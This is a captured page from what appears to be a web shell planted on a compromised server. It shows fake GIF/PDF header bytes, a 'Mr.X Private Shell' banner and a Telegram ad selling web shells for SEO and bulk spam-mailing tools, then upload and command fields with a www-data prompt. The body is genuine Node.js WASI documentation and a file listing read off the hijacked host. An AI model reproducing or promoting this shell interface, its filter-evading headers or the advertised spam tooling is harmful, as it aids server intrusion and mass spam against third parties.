GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
# WebAssembly System Interface (WASI)

<!--introduced_in=v12.16.0-->

> Stability: 1 - Experimental

<strong class="critical">The `node:wasi` module does not currently provide the
comprehensive file system security properties provided by some WASI runtimes.
Full support for secure file system sandboxing may or may not be implemented in
future. In the mean time, do not rely on it to run untrusted code. </strong>

<!-- source_link=lib/wasi.js -->

The WASI API provides an implementation of the [WebAssembly System Interface][]
specification. WASI gives WebAssembly applications access to the underlying
operating system via a collection of POSIX-like functions.

```mjs
import { readFile } from 'node:fs/promises';
import { WASI } from 'node:wasi';
import { argv, env } from 'node:process';

const wasi = new WASI({
  version: 'preview1',
  args: argv,
  env,
  preopens: {
    '/local': '/some/real/path/that/wasm/can/access',
  },
});

const wasm = await WebAssembly.compile(
  await readFile(new URL('./demo.wasm', import.meta.url)),
);
const instance = await WebAssembly.instantiate(wasm, wasi.getImportObject());

wasi.start(instance);
```

```cjs
'use strict';
const { readFile } = require('node:fs/promises');
const { WASI } = require('node:wasi');
const { argv, env } = require('node:process');
const { join } = require('node:path');

const wasi = new WASI({
  version: 'preview1',
  args: argv,
  env,
  preopens: {
    '/local': '/some/real/path/that/wasm/can/access',
  },
});

(async () => {
  const wasm = await WebAssembly.compile(
    await readFile(join(__dirname, 'demo.wasm')),
  );
  const instance = await WebAssembly.instantiate(wasm, wasi.getImportObject());

  wasi.start(instance);
})();
```

To run the above example, create a new WebAssembly text format file named
`demo.wat`:

```text
(module
    ;; Import the required fd_write WASI function which will write the given io vectors to stdout
    ;; The function signature for fd_write is:
    ;; (File Descriptor, *iovs, iovs_len, nwritten) -> Returns number of bytes written
    (import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))

    (memory 1)
    (export "memory" (memory 0))

    ;; Write 'hello world\n' to memory at an offset of 8 bytes
    ;; Note the trailing newline which is required for the text to appear
    (data (i32.const 8) "hello world\n")

    (func $main (export "_start")
        ;; Creating a new io vector within linear memory
        (i32.store (i32.const 0) (i32.const 8))  ;; iov.iov_base - This is a pointer to the start of the 'hello world\n' string
        (i32.store (i32.const 4) (i32.const 12))  ;; iov.iov_len - The length of the 'hello world\n' string

        (call $fd_write
            (i32.const 1) ;; file_descriptor - 1 for stdout
            (i32.const 0) ;; *iovs - The pointer to the iov array, which is stored at memory location 0
            (i32.const 1) ;; iovs_len - We're printing 1 string stored in an iov - so one.
            (i32.const 20) ;; nwritten - A place in memory to store the number of bytes written
        )
        drop ;; Discard the number of bytes written from the top of the stack
    )
)
```

Use [wabt](https://github.com/WebAssembly/wabt) to compile `.wat` to `.wasm`

```bash
wat2wasm demo.wat
```

## Security

<!-- YAML
added:
  - v21.2.0
  - v20.11.0
changes:
  - version:
    - v21.2.0
    - v20.11.0
    pr-url: https://github.com/nodejs/node/pull/50396
    description: Clarify WASI security properties.
-->

WASI provides a capabilities-based model through which applications are provided
their own custom `env`, `preopens`, `stdin`, `stdout`, `stderr`, and `exit`
capabilities.

**The current Node.js threat model does not provide secure sandboxing as is
present in some WASI runtimes.**

While the capability features are supported, they do not form a security model
in Node.js. For example, the file system sandboxing can be escaped with various
techniques. The project is exploring whether these security guarantees could be
added in future.

## Class: `WASI`

<!-- YAML
added:
 - v13.3.0
 - v12.16.0
-->

The `WASI` class provides the WASI system call API and additional convenience
methods for working with WASI-based applications. Each `WASI` instance
represents a distinct environment.

### `new WASI([options])`

<!-- YAML
added:
 - v13.3.0
 - v12.16.0
changes:
 - version: v20.1.0
   pr-url: https://github.com/nodejs/node/pull/47390
   description: default value of returnOnExit changed to true.
 - version: v20.0.0
   pr-url: https://github.com/nodejs/node/pull/47391
   description: The version option is now required and has no default value.
 - version: v19.8.0
   pr-url: https://github.com/nodejs/node/pull/46469
   description: version field added to options.
-->

* `options` {Object}
  * `args` {Array} An array of strings that the WebAssembly application will
    see as command-line arguments. The first argument is the virtual path to the
    WASI command itself. **Default:** `[]`.
  * `env` {Object} An object similar to `process.env` that the WebAssembly
    application will see as its environment. **Default:** `{}`.
  * `preopens` {Object} This object represents the WebAssembly application's
    local directory structure. The string keys of `preopens` are treated as
    directories within the file system. The corresponding values in `preopens`
    are the real paths to those directories on the host machine.
  * `returnOnExit` {boolean} By default, when WASI applications call
    `__wasi_proc_exit()`  `wasi.start()` will return with the exit code
    specified rather than terminating the process. Setting this option to
    `false` will cause the Node.js process to exit with the specified
    exit code instead.  **Default:** `true`.
  * `stdin` {integer} The file descriptor used as standard input in the
    WebAssembly application. **Default:** `0`.
  * `stdout` {integer} The file descriptor used as standard output in the
    WebAssembly application. **Default:** `1`.
  * `stderr` {integer} The file descriptor used as standard error in the
    WebAssembly application. **Default:** `2`.
  * `version` {string} The version of WASI requested. Currently the only
    supported versions are `unstable` and `preview1`. This option is
    mandatory.

### `wasi.getImportObject()`

<!-- YAML
added: v19.8.0
-->

Return an import object that can be passed to `WebAssembly.instantiate()` if
no other WASM imports are needed beyond those provided by WASI.

If version `unstable` was passed into the constructor it will return:

```json
{ wasi_unstable: wasi.wasiImport }
```

If version `preview1` was passed into the constructor or no version was
specified it will return:

```json
{ wasi_snapshot_preview1: wasi.wasiImport }
```

### `wasi.start(instance)`

<!-- YAML
added:
 - v13.3.0
 - v12.16.0
-->

* `instance` {WebAssembly.Instance}

Attempt to begin execution of `instance` as a WASI command by invoking its
`_start()` export. If `instance` does not contain a `_start()` export, or if
`instance` contains an `_initialize()` export, then an exception is thrown.

`start()` requires that `instance` exports a [`WebAssembly.Memory`][] named
`memory`. If `instance` does not have a `memory` export an exception is thrown.

If `start()` is called more than once, an exception is thrown.

### `wasi.initialize(instance)`

<!-- YAML
added:
 - v14.6.0
 - v12.19.0
-->

* `instance` {WebAssembly.Instance}

Attempt to initialize `instance` as a WASI reactor by invoking its
`_initialize()` export, if it is present. If `instance` contains a `_start()`
export, then an exception is thrown.

`initialize()` requires that `instance` exports a [`WebAssembly.Memory`][] named
`memory`. If `instance` does not have a `memory` export an exception is thrown.

If `initialize()` is called more than once, an exception is thrown.

### `wasi.wasiImport`

<!-- YAML
added:
 - v13.3.0
 - v12.16.0
-->

* Type: {Object}

`wasiImport` is an object that implements the WASI system call API. This object
should be passed as the `wasi_snapshot_preview1` import during the instantiation
of a [`WebAssembly.Instance`][].

[WebAssembly System Interface]: https://wasi.dev/
[`WebAssembly.Instance`]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance
[`WebAssembly.Memory`]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory

Filemanager

Name Type Size Permission Actions
assets Folder 0755
addons.html File 107.46 KB 0644
addons.json.gz File 11.01 KB 0644
addons.md File 39.89 KB 0644
all.html File 8.67 MB 0644
all.json.gz File 1.01 MB 0644
assert.html File 215.02 KB 0644
assert.json.gz File 15.05 KB 0644
assert.md File 72.71 KB 0644
async_context.html File 85.71 KB 0644
async_context.json.gz File 7.18 KB 0644
async_context.md File 25.17 KB 0644
async_hooks.html File 88.88 KB 0644
async_hooks.json.gz File 9.82 KB 0644
async_hooks.md File 30.52 KB 0644
buffer.html File 484.41 KB 0644
buffer.json.gz File 29.12 KB 0644
buffer.md File 149.42 KB 0644
child_process.html File 214.18 KB 0644
child_process.json.gz File 21.81 KB 0644
child_process.md File 83.3 KB 0644
cli.html File 258.67 KB 0644
cli.json.gz File 39.13 KB 0644
cli.md File 113.19 KB 0644
cluster.html File 92.16 KB 0644
cluster.json.gz File 9.46 KB 0644
cluster.md File 28.89 KB 0644
console.html File 63.73 KB 0644
console.json.gz File 6.28 KB 0644
console.md File 17.38 KB 0644
corepack.html File 15.56 KB 0644
corepack.json File 866 B 0644
corepack.md File 401 B 0644
crypto.html File 526.52 KB 0644
crypto.json.gz File 46.5 KB 0644
crypto.md File 193.72 KB 0644
debugger.html File 30.54 KB 0644
debugger.json.gz File 3.42 KB 0644
debugger.md File 7.88 KB 0644
deprecations.html File 237.81 KB 0644
deprecations.json.gz File 28.63 KB 0644
deprecations.md File 117.72 KB 0644
dgram.html File 93.62 KB 0644
dgram.json.gz File 10.63 KB 0644
dgram.md File 32.28 KB 0644
diagnostics_channel.html File 130.69 KB 0644
diagnostics_channel.json.gz File 10.38 KB 0644
diagnostics_channel.md File 39.31 KB 0644
dns.html File 150.29 KB 0644
dns.json.gz File 16.91 KB 0644
dns.md File 59.01 KB 0644
documentation.html File 27.74 KB 0644
documentation.json.gz File 2.57 KB 0644
documentation.md File 5.68 KB 0644
domain.html File 49.94 KB 0644
domain.json.gz File 6.21 KB 0644
domain.md File 15.21 KB 0644
embedding.html File 27.42 KB 0644
embedding.json.gz File 3.03 KB 0644
embedding.md File 6.74 KB 0644
environment_variables.html File 24.29 KB 0644
environment_variables.json.gz File 2.58 KB 0644
environment_variables.md File 5.08 KB 0644
errors.html File 337.36 KB 0644
errors.json.gz File 47.68 KB 0644
errors.md File 112.09 KB 0644
esm.html File 93.22 KB 0644
esm.json.gz File 16 KB 0644
esm.md File 44.27 KB 0644
events.html File 236.33 KB 0644
events.json.gz File 17.91 KB 0644
events.md File 68.71 KB 0644
fs.html File 666.11 KB 0644
fs.json.gz File 71.32 KB 0644
fs.md File 263.58 KB 0644
globals.html File 98.26 KB 0644
globals.json.gz File 12.43 KB 0644
globals.md File 29.48 KB 0644
http.html File 330.81 KB 0644
http.json.gz File 40 KB 0644
http.md File 126.6 KB 0644
http2.html File 389.2 KB 0644
http2.json.gz File 42.34 KB 0644
http2.md File 152.2 KB 0644
https.html File 72.6 KB 0644
https.json.gz File 6.21 KB 0644
https.md File 21.04 KB 0644
index.html File 13.9 KB 0644
index.json File 54 B 0644
index.md File 2.06 KB 0644
inspector.html File 65.18 KB 0644
inspector.json.gz File 5.74 KB 0644
inspector.md File 17.75 KB 0644
intl.html File 34.48 KB 0644
intl.json.gz File 4.12 KB 0644
intl.md File 11.49 KB 0644
module.html File 171.06 KB 0644
module.json.gz File 21.59 KB 0644
module.md File 69.85 KB 0644
modules.html File 96.67 KB 0644
modules.json.gz File 14.83 KB 0644
modules.md File 40.53 KB 0644
n-api.html File 432.96 KB 0644
n-api.json.gz File 55.7 KB 0644
n-api.md File 235.86 KB 0644
net.html File 167.45 KB 0644
net.json.gz File 20.51 KB 0644
net.md File 60.3 KB 0644
os.html File 74.59 KB 0644
os.json.gz File 9.18 KB 0644
os.md File 36.29 KB 0644
packages.html File 89.9 KB 0644
packages.json.gz File 13.05 KB 0644
packages.md File 38.8 KB 0644
path.html File 57.7 KB 0644
path.json.gz File 5.43 KB 0644
path.md File 16.48 KB 0644
perf_hooks.html File 187.34 KB 0644
perf_hooks.json.gz File 13.83 KB 0644
perf_hooks.md File 59.15 KB 0644
permissions.html File 29.01 KB 0644
permissions.json.gz File 3.64 KB 0644
permissions.md File 8.35 KB 0644
process.html File 343.73 KB 0644
process.json.gz File 37.12 KB 0644
process.md File 128.36 KB 0644
punycode.html File 27.65 KB 0644
punycode.json.gz File 2 KB 0644
punycode.md File 4.19 KB 0644
querystring.html File 29.92 KB 0644
querystring.json.gz File 2.65 KB 0644
querystring.md File 5.55 KB 0644
readline.html File 115.99 KB 0644
readline.json.gz File 11.81 KB 0644
readline.md File 41.32 KB 0644
repl.html File 96.41 KB 0644
repl.json.gz File 11.56 KB 0644
repl.md File 31.55 KB 0644
report.html File 101.16 KB 0644
report.json.gz File 7.44 KB 0644
report.md File 23.41 KB 0644
single-executable-applications.html File 52.13 KB 0644
single-executable-applications.json.gz File 6.77 KB 0644
single-executable-applications.md File 18.27 KB 0644
sqlite.html File 92.73 KB 0644
sqlite.json.gz File 11 KB 0644
sqlite.md File 34.86 KB 0644
stream.html File 412.01 KB 0644
stream.json.gz File 53.26 KB 0644
stream.md File 152.09 KB 0644
string_decoder.html File 28.31 KB 0644
string_decoder.json.gz File 1.59 KB 0644
string_decoder.md File 3.57 KB 0644
synopsis.html File 20.35 KB 0644
synopsis.json File 2.96 KB 0644
synopsis.md File 2.11 KB 0644
test.html File 343.78 KB 0644
test.json.gz File 31.84 KB 0644
test.md File 122.47 KB 0644
timers.html File 62.4 KB 0644
timers.json.gz File 5.33 KB 0644
timers.md File 16.76 KB 0644
tls.html File 203.47 KB 0644
tls.json.gz File 35.24 KB 0644
tls.md File 98.58 KB 0644
tracing.html File 43.55 KB 0644
tracing.json.gz File 3.58 KB 0644
tracing.md File 10.58 KB 0644
tty.html File 40.73 KB 0644
tty.json.gz File 3.88 KB 0644
tty.md File 9.56 KB 0644
typescript.html File 29.27 KB 0644
typescript.json.gz File 3.38 KB 0644
typescript.md File 7.69 KB 0644
url.html File 161.29 KB 0644
url.json.gz File 16.67 KB 0644
url.md File 57.4 KB 0644
util.html File 351.85 KB 0644
util.json.gz File 30.22 KB 0644
util.md File 114.07 KB 0644
v8.html File 134.81 KB 0644
v8.json.gz File 14.51 KB 0644
v8.md File 43.79 KB 0644
vm.html File 188 KB 0644
vm.json.gz File 22.9 KB 0644
vm.md File 80.88 KB 0644
wasi.html File 32.28 KB 0644
wasi.json.gz File 3.49 KB 0644
wasi.md File 8.25 KB 0644
webcrypto.html File 161.61 KB 0644
webcrypto.json.gz File 10.2 KB 0644
webcrypto.md File 47.22 KB 0644
webstreams.html File 165.16 KB 0644
webstreams.json.gz File 10.95 KB 0644
webstreams.md File 41.21 KB 0644
worker_threads.html File 169.32 KB 0644
worker_threads.json.gz File 17.33 KB 0644
worker_threads.md File 59.46 KB 0644
zlib.html File 156.29 KB 0644
zlib.json.gz File 12.86 KB 0644
zlib.md File 49 KB 0644